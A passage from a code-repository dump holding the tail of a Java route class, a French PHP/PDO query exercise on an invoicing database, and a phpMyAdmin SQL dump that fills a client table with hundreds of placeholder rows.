public String getDestinationNode() {
return destinationNode;
}
public void setDestinationNode(String destinationNode) {
this.destinationNode = destinationNode;
}
public double getCost() {
return cost;
}
public void setCost(double cost) {
this.cost = cost;
}
}
| 317c6942a261527e5325102287df544aa3143402 | [
"Markdown",
"Java"
] | 8 | Java | gtan14/Senior-Project-TSP-FLP | c50c1a14bb76a6cd8fe0b461742232962dc97d72 | 0096d56b538ca2823fd1f0245ea12022aaad54c4 |
refs/heads/master | <repo_name>Varkoff/Cours-WEB<file_sep>/siteweb/DATABASE/test.php
<?php
}
$reponse->closeCursor();//Termine le traitement de la requête
$reponse = $bdd->query('SELECT NomClient, PrenomClient FROM client WHERE PrenomClient=\'Paul\'');
/*while ($donnees = $reponse->fetch())
{
echo $donnees['NomClient'].' '.$donnees['PrenomClient']. '<br />';
}*/
$rows = $reponse->rowCount();
if ($rows ==0) {
//aucune ligne renvoyée
echo 'Pas de résultats <br/>';
}else{
while($donnees = $reponse->fetch())
{
echo $donnees['NomClient'].' '.$donnees['PrenomClient'].'<br/>';
}
}
$reponse->closeCursor();
/*$reponse = $bdd->query('SELECT Des, PUHT FROM produits ORDER BY PUHT DESC'); //Desc=décroissant
while ($donnees = $reponse->fetch())
{
echo '<br />'.$donnees['Des'].'coûte'.$donnees['PUHT'].' EUR HT<br />';
}
$reponse->closeCursor();
*/
///////
/*
$reponse = $bdd->query('SELECT Des, PUHT FROM produits LIMIT 0,2'); /
while ($donnees = $reponse->fetch())
{
echo '<br />'.$donnees['Des'].'coûte'.$donnees['PUHT'].' EUR HT<br />';
}
$reponse->closeCursor();
*/
// / / / / / / /
/*
$reponse = $bdd->prepare('SELECT Des, PUHT FROM produits WHERE NumProduit=?');
$req->execute(array($_GET['NumProduit']));
while ($donnees = $req->fetch())
{
echo '<br/>'.$donnees['Des'].' coûte '.$donnees['PUHT'].' EUR HT<br/>';
}
$reponse->closeCursor();
*/
$_POST['numFacture']=2;
$_POST['numClient']=2;
$req = $bdd->prepare('SELECT * FROM facture WHERE NumFacture=? OR NumClient = ?');
$req->execute(array($_POST['numFacture'],$_POST['numClient']));
while ($donnees = $req->fetch())
{
echo 'Num Facture : '.$donnees['NumFacture'].' Date : '.$donnees['DateFacture'].' Num Client : '.$donnee['NumCLient'].'<br/>';
}
$reponse->closeCursor();
?>
<file_sep>/facture.sql
-- phpMyAdmin SQL Dump
-- version 4.6.4
-- https://www.phpmyadmin.net/
--
-- Client : 127.0.0.1
-- Généré le : Jeu 19 Janvier 2017 à 14:56
-- Version du serveur : 5.7.14
-- Version de PHP : 5.6.25
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Base de données : `facture`
--
-- --------------------------------------------------------
--
-- Structure de la table `client`
--
CREATE TABLE `client` (
`NumClient` int(11) NOT NULL,
`NomClient` varchar(255) NOT NULL,
`PrenomClient` varchar(255) NOT NULL,
`AdresseClient` varchar(255) NOT NULL,
`Cp` varchar(255) NOT NULL,
`VilleClient` varchar(255) NOT NULL,
`PaysClient` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `client`
--
INSERT INTO `client` (`NumClient`, `NomClient`, `PrenomClient`, `AdresseClient`, `Cp`, `VilleClient`, `PaysClient`) VALUES
(1, 'Lehmann', 'Nicolas', '12 A rue du sylvaner', '68980', 'Beblenheim', 'France'),
(2, 'Lehmann', 'Martin', '12 A rue du sylvaner', '68980', 'Beblenheim', 'France'),
(3, 'Lehmann', 'Pierre', 'Blabla', '68980', 'Beblenheim', 'France'),
(4, 'Lehmann', 'Sylvain', 'titi', '68980', 'Beblenheim', 'France'),
(5, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(6, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(7, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(8, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(9, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(10, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(11, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(12, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(13, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(14, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(15, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(16, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(17, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(18, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(19, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(20, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(21, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(22, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(23, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(24, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(25, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(26, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(27, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(28, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(29, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(30, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(31, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(32, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(33, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(34, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(35, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(36, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(37, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(38, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(39, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(40, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(41, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(42, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(43, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(44, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(45, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(46, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(47, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(48, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(49, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(50, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(51, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(52, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(53, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(54, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(55, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(56, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(57, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(58, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(59, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(60, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(61, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(62, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(63, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(64, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(65, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(66, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(67, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(68, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(69, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(70, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(71, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(72, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(73, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(74, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(75, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(76, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(77, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(78, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(79, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(80, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(81, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(82, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(83, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(84, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(85, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(86, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(87, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(88, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(89, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(90, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(91, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(92, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(93, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(94, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(95, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(96, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(97, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(98, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(99, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(100, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(101, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(102, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(103, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(104, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(105, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(106, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(107, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(108, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(109, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(110, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(111, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(112, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(113, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(114, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(115, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(116, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(117, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(118, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(119, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(120, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(121, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(122, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(123, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(124, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(125, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(126, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(127, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(128, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(129, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(130, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(131, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(132, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(133, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(134, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(135, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(136, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(137, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(138, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(139, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(140, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(141, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(142, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(143, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(144, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(145, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(146, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(147, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(148, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(149, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(150, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(151, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(152, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(153, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(154, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(155, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(156, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(157, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(158, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(159, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(160, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(161, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(162, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(163, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(164, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(165, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(166, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(167, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(168, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(169, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(170, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(171, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(172, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(173, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(174, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(175, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(176, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(177, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(178, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(179, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(180, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(181, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(182, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(183, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(184, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(185, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(186, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(187, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(188, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(189, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(190, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(191, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(192, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(193, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(194, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(195, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(196, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(197, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(198, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(199, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(200, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(201, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(202, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(203, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(204, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(205, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(206, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(207, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(208, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(209, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(210, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(211, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(212, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(213, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(214, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(215, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(216, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(217, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(218, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(219, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(220, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(221, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(222, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(223, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(224, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(225, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(226, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(227, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(228, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(229, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(230, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(231, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(232, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(233, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(234, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(235, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(236, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(237, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(238, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(239, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(240, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(241, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(242, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(243, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(244, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(245, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(246, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(247, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(248, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(249, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(250, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(251, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(252, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(253, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(254, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(255, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(256, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(257, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(258, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(259, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(260, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(261, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(262, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(263, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(264, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(265, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(266, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(267, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(268, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(269, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(270, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(271, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(272, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(273, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(274, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(275, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(276, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(277, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(278, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(279, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(280, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(281, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(282, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(283, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(284, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(285, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(286, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(287, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(288, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(289, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(290, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(291, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(292, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(293, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(294, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(295, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(296, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(297, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(298, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(299, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(300, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(301, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(302, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(303, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(304, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(305, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(306, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(307, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(308, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(309, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(310, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(311, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(312, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(313, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
